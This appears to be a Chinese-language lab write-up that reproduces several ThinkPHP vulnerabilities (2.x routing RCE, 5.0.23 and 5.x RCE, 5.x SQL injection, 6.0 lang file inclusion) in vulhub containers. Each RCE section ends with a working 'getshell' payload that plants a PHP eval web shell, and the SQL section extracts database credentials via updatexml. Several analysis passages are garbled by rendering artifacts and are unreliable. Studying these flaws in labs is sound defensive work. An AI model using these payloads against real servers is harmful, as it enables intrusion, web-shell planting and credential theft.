-----------------梦想,想像力和希望实现这些梦想的人的勇气充满希望。
2-RCE
ThinkPHP 2.x任意代码执行漏洞
0x00 漏洞描述
ThinkPHP2.x版本是使用preg_replace的/e模式匹配的路由
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
导致用户输入的参数被插入双引号中执行,造成任意代码执行。
ThinkPHP3.x的Lite模式下也没有修复该漏洞,漏洞依旧存在。
0x01 影响版本
ThinkPHP 2.x
0x02 靶场环境
cd /.../vulhub/thinkphp/2-rce # cd进入2-rce靶场文件环境下
docker-compose up -d # docker-compose启动靶场
docker ps -a # 查看开启的靶场信息
0x03 漏洞分析
存在漏洞的文件:/ThinkPHP/Lib/Think/Util/Dispatcher.class.php
// line 87
if(!self::routerCheck()){ // 检测路由规则 如果没有则按默认规则调度URL
$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
$var = array();
if (C('APP_GROUP_LIST') && !isset($_GET[C('VAR_GROUP')])){
$var[C('VAR_GROUP')] = in_array(strtolower($paths[0]),explode(',',strtolower(C('APP_GROUP_LIST'))))? array_shift($paths) : '';
if(C('APP_GROUP_DENY') && in_array(strtolower($var[C('VAR_GROUP')]),explode(',',strtolower(C('APP_GROUP_DENY'))))) {
// 禁止直接访问分组
exit;
}
}
if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称
$var[C('VAR_MODULE')] = array_shift($paths);
}
$var[C('VAR_ACTION')] = array_shift($paths);
// 解析剩余的URL参数
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
$_GET = array_merge($var,$_GET);
}
检测了路由规则,如果没有则按默认规则调度URL,然后解析剩余的URL参数。
1、 preg_replace( 搜索模式, 替换字符串, 搜索目标 );,e模式的正则支持执行代码,有了它可以执行第二个参数的命令(仅仅是一个php表达式,也就是不能有分号),第一个参数需要再第三个参数中有匹配,否则会返回第三个参数而不执行命令。
2、正则表达式的搜索模式:(\w+)/([^/])是取每两个参数,KaTeX parse error: Undefined control sequence: \1 at position 6: var['\̲1̲']="\2";是对数组的操作…var在路径存在模块和动作时,会去除掉前两个值,而数组$var来自于 $paths也就是路径。 为了让我们构造的语句得以执行,需要将语句作为数组的值。如:
/index.php?s=a/b/c/d/e/${phpinfo()}
/index.php?s=a/b/c/${phpinfo()}
/index.php?s=a/b/c/${phpinfo()}/c/d/e/f
注:
1. 其中要执行的语句再第偶数个参数的位置;
2. PHP中 ${} 是可以构造一个变量的,如果里面写的是函数则里可以执行函数
3. ThinkPHP的url规则
thinkphp 所有的主入口文件默认访问index控制器(模块)
thinkphp 所有的控制器默认执行index动作(方法)
存在漏洞的static public function dispatch(),叫URL映射控制器,也就是URL访问的路径是映射到哪个控制器下。
ThinkPHP5.1在没有定义路由的情况下典型的URL访问规则是:
http://serverName/index.php(或者其它应用入口文件)/模块/控制器/操作/[参数名/参数值...]
如果不支持PATHINFO的服务器可以使用兼容模式访问如下:
http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值...]
0x04 漏洞复现
构造payload:
http://127.0.0.1:8080/index.php?s=/index/index/name/${phpinfo()}
访问,成功执行phpinfo();函数
0x05 getshell
构造payload:
http://127.0.0.1:8080/index.php?s=/index/index/name/${eval($_REQUEST[1])}&&1=phpinfo();
验证:蚁剑连接
5.0.23-RCE
0x00 漏洞描述
实现框架的核心类Requests的method方法实现表单请求类伪装,默认为$_POST[‘_method’]变量,却没有对_method属性进行严格校验,可以通过变量覆盖Requests类的属性,在结合框架特性实现对任意函数的调用实现任意代码执行
0x01 影响版本
ThinkPHP 5.0.x~5.0.23
ThinkPHP 5.1.x~5.1.31
ThinkPHP 5.2.0beta1
0x02 靶场环境
cd /.../vulhub/thinkphp/5.0.23-rce # cd进入5.0.23-rce靶场文件环境下
docker-compose up -d # docker-compose启动靶场
docker ps -a # 查看开启的靶场信息
0x03 漏洞分析
1).通过http://127.0.0.1:8080/index.php?s=index的方式通过s参数传递具体的路由地址,查看路口文件,发现调用了start.php
// index.php line 15
define('APP_PATH', __DIR__ . '/../application/');
// 加载框架引导文件
require __DIR__ . '/../thinkphp/start.php';
2).查看start.php方法,发现调用了App类中的run方法:
// start.php line 15
// 1. 加载基础文件
require __DIR__ . '/base.php';
// 2. 执行应用
App::run()->send();
3).查看App类中的run方法,部分代码如下:
//App.php line 111
// 获取应用调度信息
$dispatch = self::$dispatch;
// 未设置调度信息则进行 URL 路由检测
if (empty($dispatch)) {
/*关键代码*/ $dispatch = self::routeCheck($request, $config);
}
// 记录当前调度信息
$request->dispatch($dispatch);
// 记录路由和请求信息
if (self::$debug) {
Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');
/*关键代码*/ Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');
}
// 监听 app_begin
Hook::listen('app_begin', $dispatch);
// 请求缓存检查
$request->cache(
$config['request_cache'],
$config['request_cache_expire'],
$config['request_cache_except']
);
/*关键代码*/ $data = self::exec($dispatch, $config);
} catch (HttpResponseException $exception) {
$data = $exception->getResponse();
}
可以看到在执行self::exec($dispatch, c o n f i g ) 之前, config)之前, config)之前,dispatch的值是通过 d i s p a t c h = s e l f : : r o u t e C h e c k ( dispatch = self::routeCheck( dispatch=self::routeCheck(request, c o n f i g ) 设置的,这时候如果 d e b u g 模式开启,就会调用 config)设置的,这时候如果debug模式开启,就会调用 config)设置的,这时候如果debug模式开启,就会调用request->param(),也就是下面exec()中会调用到的函数,经过下面分析就能发现,在debug模式开启时就能直接触发漏洞,原理是一样的。
4).再看exec()方法:
// App.php line 445
protected static function exec($dispatch, $config)
{
switch ($dispatch['type']) {
case 'redirect': // 重定向跳转
$data = Response::create($dispatch['url'], 'redirect')
->code($dispatch['status']);
break;
case 'module': // 模块/控制器/操作
$data = self::module(
$dispatch['module'],
$config,
isset($dispatch['convert']) ? $dispatch['convert'] : null
);
break;
case 'controller': // 执行控制器操作
$vars = array_merge(Request::instance()->param(), $dispatch['var']);
$data = Loader::action(
$dispatch['controller'],
$vars,
$config['url_controller_layer'],
$config['controller_suffix']
);
break;
/*关键代码*/ case 'method': // 回调方法
$vars = array_merge(Request::instance()->param(), $dispatch['var']);
$data = self::invokeMethod($dispatch['method'], $vars);
break;
case 'function': // 闭包
$data = self::invokeFunction($dispatch['function']);
break;
case 'response': // Response 实例
$data = $dispatch['response'];
break;
default:
throw new \InvalidArgumentException('dispatch type not support');
}
return $data;
}
5).exec()方法根据$dispatch的值选择进入不同的分支,当进入method分支时,调用Request::instance()->param()方法,跟进param(),看到调用了Request类的method()方法 :
// Request.php line 634
public function param($name = '', $default = null, $filter = '')
{
if (empty($this->mergeParam)) {
/*关键代码*/ $method = $this->method(true);
// 自动获取请求变量
switch ($method) {
case 'POST':
$vars = $this->post(false);
break;
case 'PUT':
case 'DELETE':
case 'PATCH':
$vars = $this->put(false);
break;
default:
$vars = [];
}
// 当前请求参数和URL地址中的参数合并
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
$this->mergeParam = true;
}
if (true === $name) {
// 获取包含文件上传信息的数组
$file = $this->file();
$data = is_array($file) ? array_merge($this->param, $file) : $this->param;
return $this->input($data, '', $default, $filter);
}
return $this->input($this->param, $name, $default, $filter);
}
6).跟进method方法,通过官方的更新文档可知该函数是被改进的内容之一,在这个方法中,如果method等于true,则调用$this->server()方法:
// Request.php line 518
public function method($method = false)
{
if (true === $method) {
// 获取原始请求类型
/*关键代码*/ return $this->server('REQUEST_METHOD') ?: 'GET';
} elseif (!$this->method) {
if (isset($_POST[Config::get('var_method')])) {
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);
} elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
$this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
} else {
$this->method = $this->server('REQUEST_METHOD') ?: 'GET';
}
}
return $this->method;
}
7).跟进server()方法,其中调用了input()方法:
// Request.php line 862
public function server($name = '', $default = null, $filter = '')
{
if (empty($this->server)) {
$this->server = $_SERVER;
}
if (is_array($name)) {
return $this->server = array_merge($this->server, $name);
}
/*关键代码*/return $this->input($this->server, false === $name ? false : strtoupper($name), $default, $filter);
}
8).然后调用input()方法中又调用了filterValue()方法:
// Request.php line 1030
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
reset($data);
} else {
/*关键代码*/ $this->filterValue($data, $name, $filter);
}
if (isset($type) && $data !== $default) {
// 强制类型转换
$this->typeCast($data, $type);
}
return $data;
9).最后filterValue中调用了call_user_func()方法,如果两个参数均可控,即 f i l t e r 和 filter和 filter和value,则会造成命令执行:
// Request.php line 1082
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
/*关键代码*/ $value = call_user_func($filter, $value);
} elseif (is_scalar($value)) {
if (false !== strpos($filter, '/')) {
// 正则过滤
if (!preg_match($filter, $value)) {
// 匹配不成功返回默认值
$value = $default;
break;
}
} elseif (!empty($filter)) {
// filter函数不存在时, 则使用filter_var进行过滤
// filter为非整形值时, 调用filter_id取得过滤id
$value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));
if (false === $value) {
$value = $default;
break;
}
}
}
}
return $this->filterExp($value);
}
整个流程:{main}() -> require() -> App::run() -> App::exec() -> Request -> param() -> Request() -> method() -> Request->server() -> Request->input() -> Request-> filterValue()
查看$filter = t h i s − > g e t F i l t e r ( this->getFilter( this−>getFilter(filter, d e f a u l t ) ; ,而在 g e t F i l t e r ( ) 中设置了 default);,而在getFilter()中设置了 default);,而在getFilter()中设置了filter = $filter ?: t h i s − f i l t e r ; 即由 this-filter; 即由 this−filter;即由this->filter决定;
v a l u e 为第一个参数 value为第一个参数 value为第一个参数data,即为传入数组的值,由$this->filter决定;
m e t h o d 变量是 method变量是 method变量是this->method,其同等于POST方法中的method参数值,由于 t h i s − > m e t h o d ,其等同于 P O S T 方法中的 m e t h o d 参数值,由于 this->method,其等同于POST方法中的method参数值,由于 this−>method,其等同于POST方法中的method参数值,由于this->method可控,导致可以调用_contruct()覆盖Request类的filter字段。
0x04 漏洞复现
1)访问靶场http://127.0.0.1:8080/index.php?s=index
2).构造测试payload进行测试:
url访问: http://127.0.0.1:8080/index.php?s=captcha
post字段:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
payload测试成功
0x05 getshell
构造特殊payload通过post方式传入一句话木马
payload:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo ‘<?php eval($_REQUEST[8]);?>’ > shell.php
访问url: http://127.0.0.1:8080/shell.php?8=phpinfo();
文件写入成功进行连接
连接成功
5-RCE
0x00 漏洞描述
在ThinkPHP5版本中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。
0x01 影响版本
ThinkPHP5:
5.0.x~5.0.23;
5.1.0~5.1.30;
不同版本payload不同, 5.1.13之后还与debug模式有关
0x02 靶场环境
cd /.../vulhub/thinkphp/5-rce # cd进入5-rce靶场文件环境下
docker-compose up -d # docker-compose启动靶场
docker ps -a # 查看开启的靶场信息
0x03 漏洞复现
在当前目录下查看vulhub靶场的payload
cat README.md
http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
payload解析原理,根据路由进行传参,调用/Index/\think\app/invokefunction中的call_user_func_array方法通过数组方式传入方法名phpinfo执行phpinfo()后面
var[1][]=-1的意思是不带参数执行
本地构造url访问页面
这是采用poc的payload攻击成功
0x04 getshell
修改上述poc,构造payload:
http://127.0.0.1:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][1]='<?php phpinfo();eval($_REQUEST[8]);?>'
payload解释:调用file_put_contents方法将'<?php phpinfo();eval($_REQUEST[8]);?>'写入shell.php文件
验证payload
url访问:http://127.0.0.1:8080/shell.php
蚁剑连接:
连接成功
in-sqlinjection
ThinkPHP5 SQL注入漏洞和敏感信息泄露漏洞
0x00 漏洞描述
传入的某参数在绑定编译指令的时候又没有安全处理,预编译的时候导致SQL异常报错。然而thinkphp5默认开启debug模式,在漏洞环境下构造错误的SQL语法会泄漏数据库账户和密码。
0x01 影响版本
ThinkPHP < 5.1.23
该漏洞的形成最关键一点是需要开启debug模式
0x02 靶场环境
cd /.../vulhub/thinkphp/5-rce # cd进入5-rce靶场文件环境下
docker-compose up -d # docker-compose启动靶场
docker ps -a # 查看开启的靶场信息
0x03 漏洞分析
查看源码/application/index/controller/Index.php:
<?php
namespace app\index\controller;
use app\index\model\User;
class Index
{
public function index()
{
$ids = input('ids/a');
$t = new User();
$result = $t->where('id', 'in', $ids)->select();
foreach($result as $row) {
echo "<p>Hello, {$row['username']}</p>";
}
}
}
可以看到input()函数中定义了 i d s 的类型是数组,而 ids的类型是数组,而 ids的类型是数组,而ids又被User类中的where()函数调用,跟进后找到/thinkphp/library/think/db/Builder.php文件:
protected function parseWhere($where, $options)
{
$whereStr = $this->buildWhere($where, $options);
if (!empty($options['soft_delete'])) {
// 附加软删除条件
list($field, $condition) = $options['soft_delete'];
$binds = $this->query->getFieldsBind($options);
$whereStr = $whereStr ? '( ' . $whereStr . ' ) AND ' : '';
$whereStr = $whereStr . $this->parseWhereItem($field, $condition, '', $options, $binds);
}
return empty($whereStr) ? '' : ' WHERE ' . $whereStr;
}
接着找到定义’in’的位置:
<?php
...
$bindName = $bindName ?: 'where_' . str_replace(['.', '-'], '_', $field);if (preg_match('/\W/', $bindName)) {
// 处理带非单词字符的字段名
$bindName = md5($bindName);}...} elseif (in_array($exp, ['NOT IN', 'IN'])) {
// IN 查询
if ($value instanceof \Closure) {
$whereStr .= $key . ' ' . $exp . ' ' . $this->parseClosure($value);
} else {
$value = is_array($value) ? $value : explode(',', $value);
if (array_key_exists($field, $binds)) {
$bind = [];
$array = [];
foreach ($value as $k => $v) {
if ($this->query->isBind($bindName . '_in_' . $k)) {
$bindKey = $bindName . '_in_' . uniqid() . '_' . $k;
} else {
$bindKey = $bindName . '_in_' . $k;
}
$bind[$bindKey] = [$v, $bindType];
$array[] = ':' . $bindKey;
}
$this->query->bind($bind);
$zone = implode(',', $array);
} else {
$zone = implode(',', $this->parseValue($value, $field));
}
$whereStr .= $key . ' ' . $exp . ' (' . (empty($zone) ? "''" : $zone) . ')';
}
这段代码当引入了in 或者 not in的时候遍历value的key和value。而key在绑定编译指令的时候又没有安全处理,所以导致了在预编译的时候SQL异常。
0x04 漏洞复现
查看poc
cat README.zh_cn.md
构造漏洞测试payload:
http://192.168.23.200/index.php?ids[]=1&ids[]=2
访问url
这里测试成功说明存在sql注入漏洞,接着构造报错回显的payload爆破数据库信息
payload:http://192.168.23.200/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1
这是成功获取到了该mysql数据库的账户密码,这里可以进行mysql远程连接,进行进一步利用,这里不在赘述。
lang-rce
0x00 漏洞描述
ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的开源轻量级PHP框架。
漏洞建立在目录遍历和文件包含之上,利用pearcmd的tricks即可为攻击者实施远程代码攻击从而实现RCE,由于thinkphp6.0.13版本之前存在一处本地文件包含漏洞,可以通过lang参数包含任意PHP文件,当此漏洞与register_argc_argv且安装了pcel/pear的环境下配合时,就会导致RCE。
0x01 影响版本
ThinkPHP version:
6.0.0~6.0.13
5.0.x
5.1.x
0x02 靶场环境
cd /.../vulhub/thinkphp/lang-rce # cd进入lang-rce靶场文件环境下
docker-compose up -d # docker-compose启动靶场
docker ps -a # 查看开启的靶场信息
0x03 漏洞分析
首先看LoadLangPack这个类,handle()函数 中先调用detect()方法在请求中检查是否有参数设置语言
public function handle($request, Closure $next)
{
// 自动侦测当前语言
$langset = $this->detect($request);
if ($this->lang->defaultLangSet() != $langset) {
$this->lang->switchLangSet($langset);
}
$this->saveToCookie($this->app->cookie, $langset);
return $next($request);
}
多个判断中检查了get、header、cookie等位置,config[‘allow_lang_list’]默认为空情况下, l a n g S e t 赋给 langSet赋给 langSet赋给range并返回
protected function detect(Request $request): string
{
// 自动侦测设置获取语言选择
$langSet = '';
if ($request->get($this->config['detect_var'])) {
// url中设置了语言变量
$langSet = strtolower($request->get($this->config['detect_var']));
} elseif ($request->header($this->config['header_var'])) {
// Header中设置了语言变量
$langSet = strtolower($request->header($this->config['header_var']));
} elseif ($request->cookie($this->config['cookie_var'])) {
// Cookie中设置了语言变量
$langSet = strtolower($request->cookie($this->config['cookie_var']));
} elseif ($request->server('HTTP_ACCEPT_LANGUAGE')) {
// 自动侦测浏览器语言
$match = preg_match('/^([a-z\d\-]+)/i', $request->server('HTTP_ACCEPT_LANGUAGE'), $matches);
if ($match) {
$langSet = strtolower($matches[1]);
if (isset($this->config['accept_language'][$langSet])) {
$langSet = $this->config['accept_language'][$langSet];
}
}
}
if (empty($this->config['allow_lang_list']) || in_array($langSet, $this->config['allow_lang_list'])) {
// 合法的语言
$range = $langSet;
$this->lang->setLangSet($range);
} else {
$range = $this->lang->getLangSet();
}
return $range;
}
又回到handle()中 t h i s − > l a n g − > s w i t c h L a n g S e t ( this->lang->switchLangSet( this−>lang−>switchLangSet(langset); 执行
参数传入该函数内,拼接:thinkphp路径/lang/ + 用户参数$langset + .php。后传进load()函数
public function switchLangSet(string $langset)
{
if (empty($langset)) {
return;
}
// 加载系统语言包
$this->load([
$this->app->getThinkPath() . 'lang' . DIRECTORY_SEPARATOR . $langset . '.php',
]);
// 加载系统语言包
$files = glob($this->app->getAppPath() . 'lang' . DIRECTORY_SEPARATOR . $langset . '.*');
$this->load($files);
// 加载扩展(自定义)语言包
$list = $this->app->config->get('lang.extend_list', []);
if (isset($list[$langset])) {
$this->load($list[$langset]);
}
}
跟进load函数,发现参数传进load函数中,在167行又被传到parse函数内
/**
* 加载语言定义(不区分大小写)
* @access public
* @param string|array $file 语言文件
* @param string $range 语言作用域
* @return array
*/
public function load($file, $range = ''): array
{
$range = $range ?: $this->range;
if (!isset($this->lang[$range])) {
$this->lang[$range] = [];
}
$lang = [];
foreach ((array) $file as $name) {
if (is_file($name)) {
$result = $this->parse($name);
$lang = array_change_key_case($result) + $lang;
}
}
if (!empty($lang)) {
$this->lang[$range] = $lang + $this->lang[$range];
}
return $this->lang[$range];
}
而parse函数直接用include对$file进行包含,也是漏洞触发点。
/**
* 解析语言文件
* @access protected
* @param string $file 语言文件名
* @return array
*/
protected function parse(string $file): array
{
$type = pathinfo($file, PATHINFO_EXTENSION);
switch ($type) {
case 'php':
$result = include $file; //此处就是最终漏洞触发点
break;
case 'yml':
case 'yaml':
if (function_exists('yaml_parse_file')) {
$result = yaml_parse_file($file);
}
break;
case 'json':
$data = file_get_contents($file);
if (false !== $data) {
$data = json_decode($data, true);
if (json_last_error() === JSON_ERROR_NONE) {
$result = $data;
}
}
break;
}
return isset($result) && is_array($result) ? $result : [];
}
从上边流程看出从获取参数到传入parse() 内都未对内容进行过滤。
0x04 漏洞复现
漏洞复现前提:
(1) 知道pearcmd路径
(2) ThinkPHP开启多语言模块
测试poc,通过cat README.zh_cn.md 文件获得测试poc
根据poc进行测试,burpsuite开启抓包,然后利用get方法利用poc进行测试
访问http://127.0.0.1:8080/shell.php进行验证
可以看到shell.php文件生效,存在该漏洞poc验证成功
0x05 getshell
修改poc进行getshell
/?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo();eval($_REQUEST[8]);?>+shell.php
在shell.php文件中写入一句话木马,然后利用蚁剑进行连接
蚁剑连接
连接成功,测试生效。